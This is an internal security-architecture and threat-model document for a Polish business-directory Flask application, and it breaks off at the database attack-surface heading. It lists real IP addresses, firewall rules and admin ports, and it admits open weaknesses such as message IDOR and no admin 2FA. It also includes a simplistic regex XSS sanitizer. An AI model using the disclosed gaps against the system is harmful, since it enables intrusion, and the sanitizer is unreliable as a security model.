nordabiz/docs/architecture/09-security-architecture.md
Maciej Pienczyn cebe52f303 refactor: Rebranding i aktualizacja modelu AI
- Zmiana nazwy: "Norda Biznes Hub" → "Norda Biznes Partner"
- Aktualizacja modelu AI: Gemini 2.0 Flash → Gemini 3 Flash
- Zachowano historyczne odniesienia w timeline i dokumentacji

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-01-29 14:08:39 +01:00

1828 lines
59 KiB
Markdown

# Security Architecture
**Document Version:** 1.0
**Last Updated:** 2026-01-10
**Status:** Production LIVE
**Diagram Type:** Security Architecture / Threat Model
---
## Overview
This document provides a **comprehensive security architecture** for the Norda Biznes Partner application, covering:
- **Security Zones** and trust boundaries
- **Authentication & Authorization** mechanisms
- **Security Controls** (CSRF, rate limiting, input validation, etc.)
- **Threat Model** and attack surface analysis
- **Data Security** (encryption, sensitive data handling)
- **API Security** (external API integrations, API key management)
- **Infrastructure Security** (network, firewall, SSH access)
- **Security Monitoring** and incident response
- **Security Best Practices** and compliance
**Abstraction Level:** Security Architecture
**Audience:** Security Engineers, DevOps, Developers, System Administrators
**Purpose:** Understanding security boundaries, threat model, security controls, compliance verification
**Related Documentation:**
- [Authentication Flow](flows/01-authentication-flow.md) - Detailed authentication flow diagrams and implementation
- [Network Topology](07-network-topology.md) - Network zones and firewall rules
- [Container Diagram](02-container-diagram.md) - Application security boundaries
- [Critical Configurations](08-critical-configurations.md) - SSL/TLS, secrets management
---
## Table of Contents
1. [Security Zones & Trust Boundaries](#1-security-zones--trust-boundaries)
2. [Authentication Architecture](#2-authentication-architecture)
3. [Authorization Model](#3-authorization-model)
4. [Security Controls](#4-security-controls)
5. [Threat Model & Attack Surface](#5-threat-model--attack-surface)
6. [Data Security](#6-data-security)
7. [API Security](#7-api-security)
8. [Infrastructure Security](#8-infrastructure-security)
9. [Security Monitoring](#9-security-monitoring)
10. [Incident Response](#10-incident-response)
11. [Compliance & Best Practices](#11-compliance--best-practices)
12. [Security Roadmap](#12-security-roadmap)
---
## 1. Security Zones & Trust Boundaries
### 1.1 Security Zones Diagram
```mermaid
graph TB
subgraph "Zone 0: Public Internet (UNTRUSTED)"
Internet["🌐 Public Internet<br/><br/>Trust Level: NONE<br/>Access: Anonymous users<br/>Threat Level: HIGH<br/><br/>Threats:<br/>• DDoS attacks<br/>• SQL injection<br/>• XSS attacks<br/>• CSRF attacks<br/>• Brute force<br/>• Bot traffic"]
end
subgraph "Zone 1: Network Perimeter (SECURITY BOUNDARY)"
Fortigate["🛡️ FORTIGATE FIREWALL<br/><br/>Trust Level: BOUNDARY<br/>Controls:<br/>• NAT (85.237.177.83 → 10.22.68.250)<br/>• Port filtering (443, 80, 22)<br/>• Stateful inspection<br/>• DDoS protection<br/>• Intrusion prevention<br/><br/>Default Policy: DENY ALL"]
end
subgraph "Zone 2: DMZ - Reverse Proxy (SEMI-TRUSTED)"
DMZ["🖥️ NPM REVERSE PROXY<br/>IP: 10.22.68.250<br/><br/>Trust Level: LOW<br/>Controls:<br/>• SSL/TLS termination<br/>• HTTP → HTTPS redirect<br/>• Let's Encrypt certificates<br/>• Request filtering (block exploits)<br/>• WebSocket upgrade control<br/>• HSTS enforcement<br/><br/>Exposed Ports: 443, 80, 81 (admin)<br/>Allowed Outbound: App Zone only"]
end
subgraph "Zone 3: Application Zone (TRUSTED)"
AppZone["🖥️ APPLICATION SERVER<br/>IP: 10.22.68.249<br/><br/>Trust Level: MEDIUM<br/>Controls:<br/>• Flask-Login authentication<br/>• CSRF protection (Flask-WTF)<br/>• Rate limiting (Flask-Limiter)<br/>• Input sanitization<br/>• XSS prevention<br/>• SQL injection prevention (SQLAlchemy ORM)<br/>• Session security (secure cookies)<br/><br/>Exposed Ports: 5000 (internal), 22 (SSH)<br/>Allowed Outbound: Internet (APIs), Data Zone"]
end
subgraph "Zone 4: Data Zone (HIGHLY TRUSTED)"
DataZone["🗄️ DATABASE SERVER<br/>IP: 10.22.68.249:5432<br/><br/>Trust Level: HIGH<br/>Controls:<br/>• PostgreSQL authentication<br/>• Localhost-only binding (127.0.0.1)<br/>• Role-based access control<br/>• Connection encryption (SSL/TLS)<br/>• pg_hba.conf restrictions<br/>• Database user separation<br/><br/>Exposed Ports: 5432 (localhost only)<br/>Allowed Connections: Application Zone only"]
end
subgraph "Zone 5: External APIs (THIRD-PARTY)"
APIs["☁️ EXTERNAL APIs<br/><br/>Trust Level: THIRD-PARTY<br/>Services:<br/>• Google Gemini AI<br/>• Google PageSpeed Insights<br/>• Google Places API<br/>• Microsoft Graph API<br/>• Brave Search API<br/>• KRS Open API<br/><br/>Controls:<br/>• API key authentication<br/>• OAuth 2.0 (MS Graph)<br/>• HTTPS/TLS 1.2+ only<br/>• Rate limiting (client-side)<br/>• API key rotation<br/>• Cost tracking"]
end
Internet -->|"HTTPS :443<br/>HTTP :80"| Fortigate
Fortigate -->|"NAT + Filter<br/>Allow: 443, 80"| DMZ
DMZ -->|"HTTP :5000<br/>(internal network)"| AppZone
AppZone -->|"PostgreSQL :5432<br/>(localhost)"| DataZone
AppZone -->|"HTTPS<br/>(API requests)"| APIs
style Internet fill:#ff6b6b,color:#fff
style Fortigate fill:#f59e0b,color:#fff
style DMZ fill:#fbbf24,color:#000
style AppZone fill:#10b981,color:#fff
style DataZone fill:#3b82f6,color:#fff
style APIs fill:#8b5cf6,color:#fff
```
### 1.2 Trust Boundaries
| Boundary | Between Zones | Security Controls | Threat Mitigation |
|----------|---------------|-------------------|-------------------|
| **External → Perimeter** | Internet → Fortigate | NAT, port filtering, stateful firewall | DDoS, port scanning, unauthorized access |
| **Perimeter → DMZ** | Fortigate → NPM | Port restrictions (443, 80), SSL enforcement | Man-in-the-middle, protocol attacks |
| **DMZ → Application** | NPM → Flask | Internal network isolation, port 5000 only | Lateral movement, privilege escalation |
| **Application → Data** | Flask → PostgreSQL | Localhost-only binding, role-based access | SQL injection, unauthorized data access |
| **Application → Internet** | Flask → External APIs | HTTPS/TLS, API key authentication, rate limiting | API key theft, cost overrun, data leakage |
### 1.3 Network Segmentation
**Physical Segmentation:**
- **10.22.68.0/24** - Internal INPI network (RFC 1918 private addressing)
- **85.237.177.83** - Public IP (NAT at Fortigate)
**Logical Segmentation:**
- **DMZ:** 10.22.68.250 (reverse proxy only)
- **Application:** 10.22.68.249 (Flask app, no direct Internet access for incoming)
- **Data:** 10.22.68.249:5432 (localhost binding, no network exposure)
**Firewall Rules (Fortigate):**
```
# Inbound (WAN → LAN)
allow tcp/443 from ANY to 10.22.68.250 # HTTPS to NPM
allow tcp/80 from ANY to 10.22.68.250 # HTTP to NPM (redirects to HTTPS)
allow tcp/22 from ADMIN_NET to 10.22.68.249 # SSH (admin only)
deny all from ANY to ANY # Default deny
# Outbound (LAN → WAN)
allow tcp/443 from 10.22.68.249 to ANY # API calls (HTTPS)
allow tcp/80 from 10.22.68.249 to ANY # HTTP (rare, redirects)
deny all from 10.22.68.250 to ANY # NPM cannot initiate outbound (except Let's Encrypt)
```
### 1.4 Attack Surface
**External Attack Surface (Internet-facing):**
- NPM reverse proxy (10.22.68.250:443, :80)
- Public endpoints: `/`, `/search`, `/company/<slug>`, `/audit/*`
- Authentication endpoints: `/register`, `/login`, `/forgot-password`
**Internal Attack Surface (Authenticated users):**
- User dashboard: `/dashboard`, `/chat`, `/forum/*`, `/wiadomosci/*`
- API endpoints: `/api/chat/*`, `/api/notifications/*`
**Admin Attack Surface (Admin users only):**
- Admin panels: `/admin/*` (15+ panels)
- Audit management: `/api/seo/audit`, `/api/gbp/audit`, `/api/social/audit`
**Reduced Attack Surface:**
- PostgreSQL: Localhost-only binding (no network exposure)
- SSH: Restricted to admin network (firewall rule)
- NPM Admin UI: Port 81 (internal network only)
---
## 2. Authentication Architecture
### 2.1 Authentication Overview
**Framework:** Flask-Login
**Password Hashing:** PBKDF2:SHA256 (werkzeug.security)
**Session Storage:** Server-side session cookies
**Email Verification:** Required before login
**Email Delivery:** Microsoft Graph API (OAuth 2.0)
> **NOTE:** For detailed authentication flows (registration, login, email verification, password reset, session management), see:
> [Authentication Flow Documentation](flows/01-authentication-flow.md)
### 2.2 Authentication Security Architecture
```mermaid
graph TB
subgraph "Authentication Layer"
User["👤 User"]
Browser["🌐 Browser"]
subgraph "Flask Authentication Stack"
FlaskLogin["Flask-Login<br/>(Session Management)"]
CSRF["Flask-WTF<br/>(CSRF Protection)"]
RateLimit["Flask-Limiter<br/>(Rate Limiting)"]
Sanitize["Input Sanitization<br/>(XSS Prevention)"]
end
subgraph "User Model & Database"
UserModel["User Model<br/>(SQLAlchemy)"]
PostgreSQL["PostgreSQL<br/>(users table)"]
end
subgraph "Password Security"
Hash["Password Hashing<br/>(PBKDF2:SHA256)"]
TokenGen["Token Generation<br/>(secrets.token_urlsafe)"]
end
subgraph "Email Verification"
EmailService["Email Service<br/>(email_service.py)"]
MSGraph["Microsoft Graph API<br/>(OAuth 2.0)"]
end
end
User -->|"Login Request"| Browser
Browser -->|"POST /login"| CSRF
CSRF -->|"CSRF Valid"| RateLimit
RateLimit -->|"Rate OK"| Sanitize
Sanitize -->|"Sanitized Input"| FlaskLogin
FlaskLogin -->|"Query User"| UserModel
UserModel -->|"SELECT * FROM users"| PostgreSQL
PostgreSQL -->|"User Data"| Hash
Hash -->|"check_password_hash()"| FlaskLogin
FlaskLogin -->|"login_user()"| Browser
Browser -->|"POST /register"| TokenGen
TokenGen -->|"Generate Token"| PostgreSQL
PostgreSQL -->|"User Created"| EmailService
EmailService -->|"Send Email (OAuth)"| MSGraph
style CSRF fill:#f59e0b,color:#fff
style RateLimit fill:#f59e0b,color:#fff
style Sanitize fill:#f59e0b,color:#fff
style Hash fill:#3b82f6,color:#fff
style TokenGen fill:#3b82f6,color:#fff
```
### 2.3 Session Security
**Session Configuration:**
```python
# app.py session settings
app.config['SECRET_KEY'] = os.getenv('SECRET_KEY') # 256-bit secret
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(days=7)
app.config['SESSION_COOKIE_SECURE'] = True # HTTPS only
app.config['SESSION_COOKIE_HTTPONLY'] = True # No JS access
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax' # CSRF protection
```
**Session Cookie Attributes:**
- **Name:** `session` (Flask default)
- **Secure:** True (HTTPS only in production)
- **HttpOnly:** True (prevents XSS cookie theft)
- **SameSite:** Lax (CSRF protection)
- **Max-Age:** 7 days (with "remember me")
- **Signed:** Yes (HMAC with SECRET_KEY)
- **Encrypted:** Yes (Flask built-in)
**Session Lifecycle:**
1. **Creation:** On successful login (`login_user()`)
2. **Validation:** On every request (`@login_required`)
3. **Regeneration:** On login (prevents session fixation)
4. **Expiration:** After 7 days or on logout
5. **Destruction:** On logout (`logout_user()`)
**Session Security Features:**
- Session fixation prevention (regenerate session ID on login)
- CSRF protection via Flask-WTF (automatic token generation)
- Secure cookie attributes (HttpOnly, Secure, SameSite)
- Server-side session storage (encrypted data)
- Automatic session cleanup (expired sessions removed)
### 2.4 Password Security
**Password Requirements:**
- Minimum 8 characters
- At least 1 uppercase letter
- At least 1 lowercase letter
- At least 1 digit
**Password Hashing:**
- **Algorithm:** PBKDF2:SHA256 (werkzeug.security default)
- **Iterations:** 600,000+ (werkzeug 3.0+ default)
- **Salt:** Automatic (random salt per password)
- **Hash Storage:** `users.password_hash` column (VARCHAR 255)
**Password Reset Flow:**
- Reset tokens: 256-bit entropy (`secrets.token_urlsafe(32)`)
- Token expiry: 1 hour
- Single-use tokens (cleared after successful reset)
- Email enumeration prevention (always show success message)
**Password Best Practices:**
- ✅ Strong hashing algorithm (PBKDF2:SHA256)
- ✅ Password complexity requirements
- ✅ Secure token generation
- ✅ Token expiry enforcement
- ❌ Password history (not implemented)
- ❌ Account lockout after N failed attempts (not implemented)
---
## 3. Authorization Model
### 3.1 Role-Based Access Control (RBAC)
```mermaid
graph TB
subgraph "Authorization Hierarchy"
Public["🌐 Public<br/>Anonymous Users<br/><br/>Permissions:<br/>• View company directory<br/>• Search companies<br/>• View audit reports<br/>• Access registration/login"]
Auth["🔐 Authenticated<br/>Logged-in Users<br/><br/>Permissions:<br/>• All Public permissions<br/>• Access dashboard<br/>• Use AI chat<br/>• Participate in forum<br/>• Send/receive messages<br/>• RSVP to events<br/>• Post classifieds"]
Member["👔 NORDA Members<br/>is_norda_member=TRUE<br/><br/>Permissions:<br/>• All Authenticated permissions<br/>• Company profile editing (own)<br/>• Request recommendations<br/>• View member directory<br/>• Access member-only content"]
Admin["👨‍💼 Administrators<br/>is_admin=TRUE<br/><br/>Permissions:<br/>• All Member permissions<br/>• Manage all companies<br/>• Moderate forum/news<br/>• Manage users<br/>• Run audit scans<br/>• View analytics<br/>• Generate fees<br/>• System configuration"]
end
Public --> Auth
Auth --> Member
Member --> Admin
style Public fill:#9ca3af,color:#fff
style Auth fill:#10b981,color:#fff
style Member fill:#3b82f6,color:#fff
style Admin fill:#8b5cf6,color:#fff
```
### 3.2 User Roles & Flags
**User Model Fields:**
```sql
is_active BOOLEAN DEFAULT TRUE -- User account status
is_verified BOOLEAN DEFAULT FALSE -- Email verification status
is_admin BOOLEAN DEFAULT FALSE -- Administrator flag
is_norda_member BOOLEAN DEFAULT FALSE -- NORDA Biznes membership
```
**Role Determination Logic:**
```python
# Public access - no check required
# Authenticated access
@login_required
def protected_route():
# current_user is automatically available via Flask-Login
pass
# NORDA Member access
@login_required
def member_route():
if not current_user.is_norda_member:
flash('Tylko dla członków NORDA Biznes.', 'error')
return redirect(url_for('index'))
pass
# Admin access
@login_required
def admin_route():
if not current_user.is_admin:
flash('Brak uprawnień administratora.', 'error')
return redirect(url_for('index'))
pass
```
### 3.3 Access Control Matrix
| Route Category | Public | Authenticated | NORDA Member | Admin |
|---------------|--------|---------------|--------------|-------|
| **Public Pages** | | | | |
| `/` (Company directory) | ✅ | ✅ | ✅ | ✅ |
| `/search` | ✅ | ✅ | ✅ | ✅ |
| `/company/<slug>` | ✅ | ✅ | ✅ | ✅ |
| `/audit/*/<slug>` (SEO, Social, GBP, IT) | ✅ | ✅ | ✅ | ✅ |
| `/api/companies` (JSON export) | ✅ | ✅ | ✅ | ✅ |
| `/health` (Health check) | ✅ | ✅ | ✅ | ✅ |
| **Authentication** | | | | |
| `/register`, `/login` | ✅ | ❌ | ❌ | ❌ |
| `/logout` | ❌ | ✅ | ✅ | ✅ |
| `/verify-email/<token>` | ✅ | ✅ | ✅ | ✅ |
| `/forgot-password`, `/reset-password/<token>` | ✅ | ✅ | ✅ | ✅ |
| **User Features** | | | | |
| `/dashboard` | ❌ | ✅ | ✅ | ✅ |
| `/chat` | ❌ | ✅ | ✅ | ✅ |
| `/api/chat/*` | ❌ | ✅ | ✅ | ✅ |
| **Community Features** | | | | |
| `/forum/*` | ❌ | ✅ | ✅ | ✅ |
| `/wiadomosci/*` (Messages) | ❌ | ✅ | ✅ | ✅ |
| `/kalendarz/*` (Events) | ❌ | ✅ | ✅ | ✅ |
| `/tablica/*` (Classifieds) | ❌ | ✅ | ✅ | ✅ |
| **Admin Panels** | | | | |
| `/admin/*` (All admin routes) | ❌ | ❌ | ❌ | ✅ |
| `/admin/users` (User management) | ❌ | ❌ | ❌ | ✅ |
| `/admin/fees` (Fee management) | ❌ | ❌ | ❌ | ✅ |
| `/admin/forum` (Forum moderation) | ❌ | ❌ | ❌ | ✅ |
| `/admin/seo` (SEO dashboard) | ❌ | ❌ | ❌ | ✅ |
| `/admin/gbp-audit` (GBP dashboard) | ❌ | ❌ | ❌ | ✅ |
| `/admin/social-media` (Social dashboard) | ❌ | ❌ | ❌ | ✅ |
| `/admin/it-audit` (IT dashboard) | ❌ | ❌ | ❌ | ✅ |
| **Admin API Endpoints** | | | | |
| `/api/seo/audit` (POST) | ❌ | ❌ | ❌ | ✅ |
| `/api/gbp/audit` (POST) | ❌ | ❌ | ❌ | ✅ |
| `/api/social/audit` (POST) | ❌ | ❌ | ❌ | ✅ |
| `/api/notifications` (GET) | ❌ | ✅ | ✅ | ✅ |
| `/api/notifications/<id>/read` (PUT) | ❌ | ✅ | ✅ | ✅ |
**Legend:**
- ✅ Access granted
- ❌ Access denied (redirect to login or show error)
### 3.4 Authorization Enforcement
**Decorator-based Protection:**
```python
# Flask-Login decorator for authenticated routes
@app.route('/dashboard')
@login_required
def dashboard():
# current_user is guaranteed to be authenticated
return render_template('dashboard.html', user=current_user)
```
**Manual Authorization Checks:**
```python
# Admin-only check
@app.route('/admin/users')
@login_required
def admin_users():
if not current_user.is_admin:
flash('Brak uprawnień administratora.', 'error')
return redirect(url_for('index'))
# Admin logic here
users = db.query(User).all()
return render_template('admin/users.html', users=users)
```
**Row-Level Security (Planned):**
- Company owners can edit only their own company profile
- Forum authors can edit/delete only their own posts
- Message senders/receivers can view only their own messages
**Current Limitations:**
- ❌ No granular permissions (e.g., "can_edit_company", "can_moderate_forum")
- ❌ No role hierarchy (custom roles beyond Admin/Member)
- ❌ No permission delegation (temporary admin access)
---
## 4. Security Controls
### 4.1 Security Controls Overview
```mermaid
graph LR
subgraph "Input Security"
Input["User Input"]
Sanitize["Input Sanitization<br/>(sanitize_input)"]
Validate["Input Validation<br/>(length, format, type)"]
end
subgraph "Request Security"
CSRF["CSRF Protection<br/>(Flask-WTF)"]
RateLimit["Rate Limiting<br/>(Flask-Limiter)"]
Auth["Authentication<br/>(Flask-Login)"]
end
subgraph "Response Security"
XSS["XSS Prevention<br/>(Jinja2 auto-escape)"]
Headers["Security Headers<br/>(HSTS, CSP, X-Frame)"]
SSL["SSL/TLS Encryption<br/>(HTTPS)"]
end
subgraph "Data Security"
SQLInj["SQL Injection Prevention<br/>(SQLAlchemy ORM)"]
PassHash["Password Hashing<br/>(PBKDF2:SHA256)"]
Secrets["Secrets Management<br/>(.env files)"]
end
Input --> Sanitize
Sanitize --> Validate
Validate --> CSRF
CSRF --> RateLimit
RateLimit --> Auth
Auth --> XSS
XSS --> Headers
Headers --> SSL
Auth --> SQLInj
SQLInj --> PassHash
PassHash --> Secrets
style Sanitize fill:#f59e0b,color:#fff
style CSRF fill:#f59e0b,color:#fff
style RateLimit fill:#f59e0b,color:#fff
style XSS fill:#f59e0b,color:#fff
style SQLInj fill:#3b82f6,color:#fff
style PassHash fill:#3b82f6,color:#fff
```
### 4.2 Input Security
#### 4.2.1 Input Sanitization
**Function:** `sanitize_input(text, max_length=1000)`
**Purpose:** Remove HTML tags, malicious patterns, excessive whitespace
**Implementation:** `app.py` (lines ~300-320)
```python
def sanitize_input(text, max_length=1000):
"""Remove HTML tags and malicious patterns from user input"""
if not text:
return ""
# Remove HTML tags
text = re.sub(r'<[^>]+>', '', text)
# Remove script tags and content
text = re.sub(r'<script[^>]*>.*?</script>', '', text, flags=re.IGNORECASE | re.DOTALL)
# Remove event handlers (onclick, onerror, etc.)
text = re.sub(r'\s*on\w+\s*=\s*["\'][^"\']*["\']', '', text, flags=re.IGNORECASE)
# Remove javascript: URLs
text = re.sub(r'javascript:', '', text, flags=re.IGNORECASE)
# Normalize whitespace
text = ' '.join(text.split())
# Truncate to max length
return text[:max_length]
```
**Applied to:**
- All form inputs (registration, login, forum posts, messages, classifieds)
- Search queries
- Chat messages
- Admin inputs
**XSS Prevention:**
- Jinja2 automatic escaping (enabled by default)
- Manual escaping for user-generated content: `{{ user_input|e }}`
- Sanitization before database storage (defense in depth)
#### 4.2.2 Input Validation
**Email Validation:**
```python
def validate_email(email):
"""Validate email format"""
pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
return re.match(pattern, email) is not None
```
**Password Validation:**
```python
def validate_password(password):
"""Validate password complexity"""
if len(password) < 8:
return False, "Hasło musi mieć minimum 8 znaków"
if not re.search(r'[A-Z]', password):
return False, "Hasło musi zawierać wielką literę"
if not re.search(r'[a-z]', password):
return False, "Hasło musi zawierać małą literę"
if not re.search(r'\d', password):
return False, "Hasło musi zawierać cyfrę"
return True, ""
```
**NIP Validation:**
```python
def validate_nip(nip):
"""Validate Polish NIP format (10 digits)"""
if not nip:
return False
nip = nip.replace('-', '').replace(' ', '')
return len(nip) == 10 and nip.isdigit()
```
**Input Length Limits:**
- Email: 255 characters
- Password: 255 characters (hash stored)
- Name: 255 characters
- Phone: 50 characters
- Message body: 5,000 characters
- Forum post: 10,000 characters
- Chat message: 1,000 characters
### 4.3 Request Security
#### 4.3.1 CSRF Protection
**Framework:** Flask-WTF
**Implementation:** Automatic CSRF token generation and validation
**Configuration:**
```python
# app.py CSRF setup
from flask_wtf.csrf import CSRFProtect
csrf = CSRFProtect(app)
app.config['WTF_CSRF_ENABLED'] = True
app.config['WTF_CSRF_TIME_LIMIT'] = None # No time limit (session-based)
```
**Usage in Templates:**
```html
<form method="POST">
{{ csrf_token() }} <!-- Automatic token injection -->
<input type="email" name="email" required>
<button type="submit">Submit</button>
</form>
```
**AJAX Requests:**
```javascript
// Get CSRF token from meta tag
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
// Include in AJAX request headers
fetch('/api/endpoint', {
method: 'POST',
headers: {
'X-CSRFToken': csrfToken,
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
});
```
**CSRF Protection Coverage:**
- ✅ All POST/PUT/DELETE requests
- ✅ Form submissions
- ✅ AJAX API calls
- ❌ GET requests (idempotent, no CSRF protection needed)
#### 4.3.2 Rate Limiting
**Framework:** Flask-Limiter
**Strategy:** IP-based rate limiting
**Configuration:**
```python
# app.py rate limiting setup
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
limiter = Limiter(
app=app,
key_func=get_remote_address,
default_limits=["200 per day", "50 per hour"],
storage_uri="memory://" # In-memory storage (single server)
)
```
**Rate Limits by Endpoint:**
| Endpoint | Rate Limit | Purpose |
|----------|------------|---------|
| `/register` | 5 per hour | Prevent account spam |
| `/login` | 5 per hour (prod)<br/>1000 per hour (dev) | Prevent brute force |
| `/forgot-password` | 5 per hour | Prevent email spam |
| `/api/chat/<id>/message` | 30 per minute | Prevent chat spam |
| `/api/seo/audit` | 10 per hour | Prevent quota abuse |
| `/api/gbp/audit` | 10 per hour | Prevent quota abuse |
| `/api/social/audit` | 10 per hour | Prevent quota abuse |
| Default | 200 per day, 50 per hour | General protection |
**Rate Limit Bypass:**
- No bypass mechanism (applies to all users, including admins)
- Future improvement: Whitelist admin IPs
**Error Handling:**
```python
@app.errorhandler(429)
def ratelimit_handler(e):
flash('Zbyt wiele żądań. Spróbuj ponownie później.', 'error')
return render_template('error.html', error=e), 429
```
### 4.4 Response Security
#### 4.4.1 Security Headers
**HTTP Security Headers (Configured in NPM):**
```
# HSTS (HTTP Strict Transport Security)
Strict-Transport-Security: max-age=31536000; includeSubDomains
# Prevent clickjacking
X-Frame-Options: SAMEORIGIN
# XSS Protection (legacy browsers)
X-XSS-Protection: 1; mode=block
# Content-Type sniffing prevention
X-Content-Type-Options: nosniff
# Referrer Policy
Referrer-Policy: strict-origin-when-cross-origin
# Content Security Policy (CSP) - PLANNED
# Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline';
```
**Current Status:**
- ✅ HSTS enabled (NPM configuration)
- ✅ X-Frame-Options: SAMEORIGIN
- ✅ X-Content-Type-Options: nosniff
- ❌ Content-Security-Policy (not yet implemented - requires frontend refactoring)
#### 4.4.2 SSL/TLS Encryption
**Configuration:**
- **Certificate Provider:** Let's Encrypt (free, auto-renewal)
- **Certificate Type:** RSA 2048-bit
- **TLS Protocols:** TLS 1.2, TLS 1.3 only
- **HTTP → HTTPS Redirect:** Enforced at NPM
- **HSTS:** Enabled (max-age=31536000)
**Cipher Suites (Modern):**
```
TLS_AES_128_GCM_SHA256
TLS_AES_256_GCM_SHA384
TLS_CHACHA20_POLY1305_SHA256
ECDHE-RSA-AES128-GCM-SHA256
ECDHE-RSA-AES256-GCM-SHA384
```
**SSL Termination:** At NPM reverse proxy (10.22.68.250)
**Internal Communication:** HTTP (10.22.68.250 → 10.22.68.249:5000)
**Certificate Renewal:**
- Automatic via NPM + Let's Encrypt
- Renewal frequency: Every 90 days
- Grace period: 30 days before expiry
### 4.5 Data Security
#### 4.5.1 SQL Injection Prevention
**ORM Usage:** SQLAlchemy (parameterized queries)
**Safe Query Patterns:**
```python
# ✅ SAFE: Parameterized query (SQLAlchemy ORM)
user = db.query(User).filter(User.email == email).first()
# ✅ SAFE: Parameterized raw SQL
db.execute(text("SELECT * FROM users WHERE email = :email"), {"email": email})
# ❌ UNSAFE: String concatenation (NEVER USE)
# db.execute(f"SELECT * FROM users WHERE email = '{email}'")
```
**Full-Text Search (PostgreSQL):**
```python
# ✅ SAFE: FTS with plainto_tsquery (auto-escaping)
query = text("""
SELECT c.*, ts_rank(c.search_vector, plainto_tsquery('english', :query)) AS rank
FROM companies c
WHERE c.search_vector @@ plainto_tsquery('english', :query)
ORDER BY rank DESC
""")
results = db.execute(query, {"query": search_term}).fetchall()
```
**No Raw SQL Concatenation:**
- All queries use parameterized placeholders (`:param_name`)
- SQLAlchemy ORM handles escaping automatically
- Full-text search uses `plainto_tsquery()` (auto-escapes special characters)
#### 4.5.2 Password Storage
**Hashing Algorithm:** PBKDF2:SHA256
**Library:** `werkzeug.security`
**Iterations:** 600,000+ (werkzeug 3.0+ default)
**Salt:** Automatic random salt per password
**Implementation:**
```python
from werkzeug.security import generate_password_hash, check_password_hash
# Registration: Hash password
password_hash = generate_password_hash(password) # Auto-salted
# Login: Verify password
if check_password_hash(user.password_hash, password):
# Password correct
login_user(user)
```
**Hash Format:**
```
pbkdf2:sha256:600000$<salt>$<hash>
```
**Security Properties:**
- ✅ Salted (prevents rainbow table attacks)
- ✅ Slow hashing (prevents brute force)
- ✅ Industry-standard algorithm (PBKDF2)
- ✅ Automatic algorithm upgrades (werkzeug handles)
#### 4.5.3 Secrets Management
**Environment Variables (.env):**
```bash
# Database
DATABASE_URL=postgresql://nordabiz_app:PASSWORD@127.0.0.1:5432/nordabiz
# Flask
SECRET_KEY=<256-bit-random-key>
# API Keys
GOOGLE_GEMINI_API_KEY=<key>
GOOGLE_PAGESPEED_API_KEY=<key>
BRAVE_SEARCH_API_KEY=<key>
# Microsoft Graph OAuth
MS_CLIENT_ID=<client-id>
MS_CLIENT_SECRET=<client-secret>
MS_TENANT_ID=<tenant-id>
# Email
SMTP_HOST=smtp.office365.com
SMTP_PORT=587
SMTP_USER=noreply@nordabiznes.pl
SMTP_PASSWORD=<password>
```
**Secrets Storage:**
- **Development:** `.env` file (gitignored)
- **Production:** `.env` file on server (owned by www-data, mode 600)
- **Never committed to Git:** `.env` in `.gitignore`
**Secret Rotation:**
- ❌ No automatic rotation (manual process)
- ❌ No secret versioning (future improvement)
**Access Control:**
```bash
# Production secrets file permissions
-rw------- 1 www-data www-data .env # Mode 600 (owner read/write only)
```
---
## 5. Threat Model & Attack Surface
### 5.1 Threat Model (STRIDE)
| Threat Type | Attack Vector | Impact | Mitigation | Status |
|-------------|---------------|--------|------------|--------|
| **Spoofing** | User impersonation, session hijacking | High | HTTPS, secure cookies, session regeneration | ✅ Mitigated |
| **Tampering** | SQL injection, XSS, CSRF | High | SQLAlchemy ORM, input sanitization, CSRF tokens | ✅ Mitigated |
| **Repudiation** | User denies actions | Medium | Database audit logs (created_at, updated_at) | ⚠️ Partial |
| **Information Disclosure** | API key theft, database breach, session theft | High | HTTPS, .env files, localhost DB binding | ✅ Mitigated |
| **Denial of Service** | DDoS, resource exhaustion, API quota abuse | Medium | Rate limiting, Fortigate DDoS protection | ⚠️ Partial |
| **Elevation of Privilege** | Admin privilege escalation | High | Role-based access control, admin flag validation | ✅ Mitigated |
### 5.2 Attack Surface Analysis
#### 5.2.1 External Attack Surface (Internet-facing)
**NPM Reverse Proxy (10.22.68.250:443, :80):**
- **Exposed Services:** HTTPS (443), HTTP (80, redirects to HTTPS)
- **Attack Vectors:**
- DDoS attacks (mitigated by Fortigate)
- SSL/TLS vulnerabilities (mitigated by modern cipher suites)
- HTTP request smuggling (mitigated by NPM validation)
- **Mitigation:**
- Fortigate stateful firewall + DDoS protection
- Let's Encrypt TLS 1.2/1.3 only
- NPM request filtering ("block exploits" enabled)
**Public Endpoints:**
- `/` (Company directory)
- `/search` (Search functionality)
- `/company/<slug>` (Company profiles)
- `/audit/*/<slug>` (SEO, Social, GBP, IT audit reports)
- `/register`, `/login`, `/forgot-password` (Authentication)
**Attack Vectors:**
- SQL injection: **Mitigated** (SQLAlchemy ORM)
- XSS: **Mitigated** (input sanitization, Jinja2 auto-escape)
- CSRF: **Mitigated** (Flask-WTF)
- Brute force: **Mitigated** (rate limiting 5/hour)
- Account enumeration: **Partially mitigated** (generic error messages)
#### 5.2.2 Internal Attack Surface (Authenticated Users)
**User Dashboard & Features:**
- `/dashboard`, `/chat`, `/forum/*`, `/wiadomosci/*`, `/kalendarz/*`, `/tablica/*`
**Attack Vectors:**
- Privilege escalation: **Mitigated** (admin flag validation)
- IDOR (Insecure Direct Object Reference): **Partially mitigated** (owner checks needed)
- Session hijacking: **Mitigated** (secure cookies, HTTPS)
**Vulnerabilities:**
- ❌ No row-level security (users can view other users' messages if they know the ID)
- ❌ No rate limiting on message sending
- ❌ No spam detection on forum posts
#### 5.2.3 Admin Attack Surface (Admin Users)
**Admin Panels:**
- `/admin/*` (15+ admin panels)
- `/api/seo/audit`, `/api/gbp/audit`, `/api/social/audit` (POST)
**Attack Vectors:**
- Admin account compromise: **Mitigated** (strong password requirements)
- API quota abuse: **Mitigated** (rate limiting 10/hour)
- Cost overrun: **Mitigated** (client-side cost tracking, free tier monitoring)
**Vulnerabilities:**
- ❌ No 2FA for admin accounts
- ❌ No admin activity logging
- ❌ No admin session timeout (7-day session)
#### 5.2.4 Database Attack Surface
